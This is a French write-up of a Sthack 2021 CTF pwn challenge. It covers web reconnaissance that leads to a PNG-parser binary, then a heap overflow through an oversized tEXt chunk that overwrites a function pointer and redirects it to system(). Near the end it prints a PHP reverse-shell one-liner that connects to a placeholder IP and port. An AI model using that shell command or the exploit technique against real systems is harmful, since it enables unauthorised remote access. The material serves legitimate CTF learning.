Brendan Guevel 9 min

Voici un compte-rendu du premier challenge de pwn proposé par l’édition 2021 du CTF de la Sthack à Bordeaux. C’est un challenge créé par ghozt et phenol. La particularité de ce challenge est de débuter par une partie web avant d’enchainer sur une partie pwn classique.

Étant donné que le challenge est dans la catégorie pwn, on peut s’attendre raisonnablement à trouver un binaire sur le site web.

Partie web

Au premier abord, le site est assez vide :

Site de base

Une revue du code source de la page nous donne une information intéressante :

Domaine cache

Une image pointant vers dev.img.local/troll.png est censée être affichée, mais à cause d’un évident problème de routage (mon ordinateur ne connaissant pas le domaine dev.img.local), c’est son champ alt qui est affiché à la place : “TROLLFACE :)”

On rajoute donc une entrée dans le fichier /etc/hosts pour ce domaine pointant vers l’IP du serveur du challenge. On rafraîchit la page et l’image s’affiche correctement :

Resolution image

Essayons maintenant d’accéder directement au domaine dev.img.local pour déterminer si l’affichage proposé par le site web est identique :

Domaine cache2

Bingo ! On obtient une page différente. Le site nous indique qu’il garde les logs de son outil. Cette information nous sera utile par la suite. Pour le moment, nous pouvons analyser l’outil png_parser :

Parser

Un formulaire classique d’upload de fichier est disponible. On devine que le site attend qu’on lui donne une image au format PNG pour l’analyser. On lui en donne une poliment :

PNG analyze

Le fichier est bien analysé, mais le résultat est vide. À ce moment du challenge, je ne savais pas vraiment pourquoi. On va voir par la suite que le png_parser attend une image avec certaines caractéristiques bien précises.

Continuons notre exploration du site. Nous avons vu précédemment que les logs de l’outil étaient conservés. Peut-être dans un dossier se nommant logs ?

Logs

Effectivement, un dossier logs existe bel et bien. Il contient un fichier nommé log. Cette dernière étape ressemble un peu à du guessing, mais reste très facilement réalisable grâce à l’indice fourni précédemment :

For security purposes, I log everything about my tools thanks to my next gen XDR detection endpoint coming from future.

De plus, l’usage d’un outil comme dirb avec une wordlist standard aurait trouvé le dossier également.

Regardons le fichier log :

Log

Il nous indique que le fichier a été analysé depuis /var/www/dev/png_analyze. Le chemin contient www, donc il est probable que la ressource se trouve sur le serveur web. Essayons d’y accéder :

Dev png

Rien au chemin dev/png_analyze, peut-être que le dossier dev est de trop dans le chemin, étant donné que l’on semble être déjà sur le domaine de développement :

Binaire

Le site nous renvoie le fichier png_analyzer. Vérifions type de fichier que nous avons récupéré :

File sur le binaire

Nous avons donc trouvé un programme ELF, très probablement pour parser le fichier que l’on envoie dans le formulaire d’upload.

Partie binaire

On dispose donc maintenant d’un binaire. C’est un ELF 64-bit standard comme vu plus haut.

Les symboles sont encore présents (not stripped ), ce qui va faciliter la rétro-ingénierie.

Tout d’abord, on commence par regarder les protections associées au binaire :

Checksec sur le binaire

Le programme n’est pas PIE, cela implique que les différentes sections du binaire ne seront pas soumises à l’ASLR, entre autres celle du code. C’est bon signe, car on devrait être mesure de se passer d’une fuite de mémoire pour l’exploitation, qui est souvent incontournable pour contrer l’ASLR.

Lorsqu’on lance l’application à vide, ou avec une image au format PNG, elle est peu verbeuse :

Lancement à vide

Seul un message d’erreur apparait indiquant que le dossier /var/www/dev/logs n’existe pas. Ce qui est normal, car je n’ai pas de serveur web sur mon PC.

Avec une image au format JPEG, le binaire nous retourne une erreur :

Lancement jpg

Ouvrons le binaire avec Ghidra pour comprendre le fonctionnement de l’application :

Main

Deux fonctions semblent particulièrement intéressantes : parse_png, ainsi que analyse.

La fonction parse_png

Parse_png

La fonction parse_png vérifie d’abord s’il s’agit dune image au format PNG, puis une boucle se lance. Cette dernière va appeler une fonction parse_chunk sur des petits morceaux de l’image.

Mais qu’est-ce qu’un chunk d’une image au format PNG ? Un petit tour sur Wikipédia s’impose. On y apprend que le format PNG est constitué de plusieurs chunks suivant la structure suivante :

Chunk

D’abord, une longueur sur 4 bytes en big-endian. Elle spécifie la taille du 3eme champ : les données du chunk.

Le deuxième champ encode sur 4 bytes le type du chunk. Un chunk peut avoir différents types, par exemple le type “PLTE” contient la palette de couleur, et le type “IDAT” contient le contenu de l’image.

Le 4e champ est un contrôle d’intégrité du chunk (CRC).

Regardons la fonction parse_chunk :

Parse chunk

Le buffer alloué pour le chunk fait 0x2020 bytes. Un memcpy vient copier les données du champ data dans le buffer précédemment alloué. Un problème de mémoire commence à pointer le bout du nez : on contrôle la taille des données du chunk via le champ “length”, et pouvons donc potentiellement envoyer une longueur plus grande que les 0x2020 bytes alloués pour le chunk.

Il nous manque cependant une information pour tester ce problème. Revenons à la fonction parse_png :

Boucle parse png

On voit que le chunk parsé par parse_chunk, qui se trouve dans la variable chunk_buf_ptr est utilisé dans une condition. Si ce qui se trouve à la position chunk_buf_ptr + 4 (le champ type du chunk) vaut 0x74584574 (“tEXt” en ASCII) alors le chunk est ajouté à une variable chunks, qui est elle-même retournée à la fin de la fonction (voir fonction parse_png complète plus haut). Dans le cas contraire le chunk est free.

Note: Au moment du challenge, cette information m’a suffit pour avancer et résoudre le challenge, mais a posteriori en faisant ce compte-rendu je me suis aperçu que la variable chunks contenait en fait une liste chaînée de tous les chunks de type “tEXt” (les autres étant free comme dit plus haut). local_28 est utilisé comme une variable temporaire pour stocker le chunk en cours, et local_28 + 0x2018 stocke dans la structure du chunk en cours un pointeur vers le prochain chunk dans la liste chaînée. Mais ce n’est pas vraiment utile de comprendre le fonctionnement de cette liste chaînée car nous n’avons besoin que d’un seul et unique chunk dans notre image pour exploiter le binaire comme nous allons le voir par la suite.

On comprend donc qu’il va falloir mettre le type “tEXt” dans au moins un des types de chunk pour qu’il soit ajouté aux chunks analysés. Nous pouvons maintenant commencer à créer un png customisé pour tester ce problème. On opère via un script python :

V1_python

On met 0x3000 “A” dans le champ data, bien supérieure aux 0x2020 alloués pour tester un éventuel dépassement de buffer.

De plus, on met une valeur absurde dans le CRC, car il ne semble pas vérifié dans le code, et cela est un bon moyen d’en être sûr.

On lance le binaire sur notre image :

Crash 1

L’application détecte une corruption dans le top chunk du heap, ce qui indique que notre intuition sur le débordement du buffer est avérée. Il faut se demander quelles données pertinentes nous pourrions écraser.

Notons que le CRC ne semble pas vérifié, aucun message d’erreur ne le concernant.

Un dernier regard à la fonction parse_chunk nous met sur la piste :

do_nothing

La valeur placée à l’offset 0x804 du buffer ressemble beaucoup à une adresse du binaire.

Et en effet, à cette adresse se trouve une fonction étrange : do_nothing

ghidra do_nothing

On va voir plus loin à quoi elle sert (spoiler : à pas grand-chose à part rendre l’exploitation plus facile).

La fonction analyze

La fonction analyze reprend les chunks un par un et affiche leurs différents champs.

fonction analyze

Une ligne de la fonction attire l’attention :

analyze do_nothing

Ce qui se trouve à l’offset 0x804 de notre chunk est exécuté en tant que fonction, et c’est précisément l’emplacement du pointeur de fonction do_nothing qui a été placée dans la fonction parse_chunk vue plus haut.

Pour confirmer que la fonction do_nothing est bien appelée, plaçons un breakpoint dessus dans gdb et lançons le programme sur une image légitime :

breakpoint do_nothing

Bingo, notre breakpoint est bien atteint.

L’exploitation se dessine : nous avons un dépassement de buffer dans le heap qui nous permet d’écraser tout ce qui se trouve après le buffer, et nous avons également un pointeur de fonction qui se trouve dans la structure. Peut-être que le pointeur de fonction se trouve juste après le buffer dans la structure ? Pour le vérifier, on tâtonne un peu sur la taille des données envoyées autour de 0x2020 (la taille allouée pour la structure), et un crash différent du précédent apparaît pour une taille de 0x2010 :

Py v2

Crash 2

Ouvrons gdb pour voir si notre intuition est bonne, et que l’on a bien réécrit le pointeur de fonction do_nothing. Pour cela on met un breakpoint juste avant l’appel au pointeur de fonction (le call rax) :

RSP control

Comme escompté, on a bien réécrit sur le pointeur de fonction. La prochaine instruction va call rax, alors que la valeur de ce registre est 0x4141414141414141, une valeur que l’on contrôle via les “AAAA…” rentrés dans le champ data du chunk.

Encore mieux, on peut voir que le registre rdi, qui correspond au premier argument d’une fonction en architecture x86_64 sur linux, pointe également sur des “AAAA…”.

On utilise maintenant un pattern cyclique classique (avec pattern _create de metasploit, ou directement via la classe cyclic de pwntools) pour isoler les offsets nous permettons de contrôler finement rax et rdi.

Une fois les offsets déterminés, il faut déterminer quelle fonction appeler. Ici, le choix est très simple : la fonction system se trouve dans la plt, et nous pouvons contrôler son argument. On va donc pouvoir lancer la commande système de notre choix.

Voici le script python final pour un PoC en local :

Py final

Et le résultat :

Exploit

Il ne reste plus qu’à modifier la commande utilisée par l’exploit pour obtenir un reverse shell. Ensuite, on dépose l’image et on exploite la vulnérabilité afin de récupérer le flag.

La commande netcat n’est pas présente sur le serveur hébergeant l’application web, mais on peut raisonnablement supposer que PHP est installé.

On utilise donc un one-liner récupéré sur ce site :

php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

Shell